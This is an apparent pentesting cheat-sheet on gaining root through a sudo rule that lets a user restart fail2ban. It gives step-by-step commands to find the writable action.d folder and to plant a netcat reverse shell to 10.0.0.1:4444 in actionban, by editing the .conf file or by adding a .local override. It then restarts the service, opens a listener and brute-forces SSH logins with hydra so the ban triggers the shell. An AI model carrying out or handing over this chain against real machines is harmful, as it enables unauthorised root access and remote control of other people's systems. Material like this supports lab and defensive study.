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Sudo Fail2ban Privilege Escalation

The sudo fail2ban command might be vulnerable to privilege escalation (PrivEsc).

Fail2ban is an intrusion prevention software framework.
It prevents against brute force attacks.

Investigation

sudo -l

(root) NOPASSWD: /etc/init.d/fail2ban restart

If we can execute "fail2ban" as root, we can gain access to privileges by modifying the configuration file.
We need to check if the config file is writable.

find /etc -writable -ls 2>/dev/null

4 drwxrwx--- 2 root security  4096 Oct 16 08:57 /etc/fail2ban/action.d

Look inside of "/etc/fail2ban/jail.conf" to know more about how fail2ban is configured.

less /etc/fail2ban/jail.conf

# ---------------------------------------------

# output

...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5
...

Exploitation

1. Modify the Configuration File

For privilege escalation, we need to update the "iptables-multiport.conf".
Specifically, insert a payload to one of the following values.

  • actionstart
  • actionstop
  • actioncheck
  • actionban
  • actionunban

Here update the value of actionban which triggers ban on multiple login attempts.

  • Method 1

    Copy iptables-multiport.conf to the current user's home directory.

    ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
    Now modify the file.

    vim ~/iptables-multiport.conf

    We insert a reverse shell payload into the actionban.

    actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash

    Then move back the config file to the original one.

    mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf

  • Method 2

    Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.

    # cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local

    We insert a reverse shell payload into the actionban.

    actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash

To apply the new configuration, restart it as root.

sudo /etc/init.d/fail2ban restart

2. Trigger the Action

Start a listener in local machine.

nc -lvnp 4444

Try to login with the wrong passwords multiple times until we will get banned.
So that to, hydra is useful.

hydra -l root -P passwords.txt <target-ip> ssh

After a short time, you will get a root shell via listener.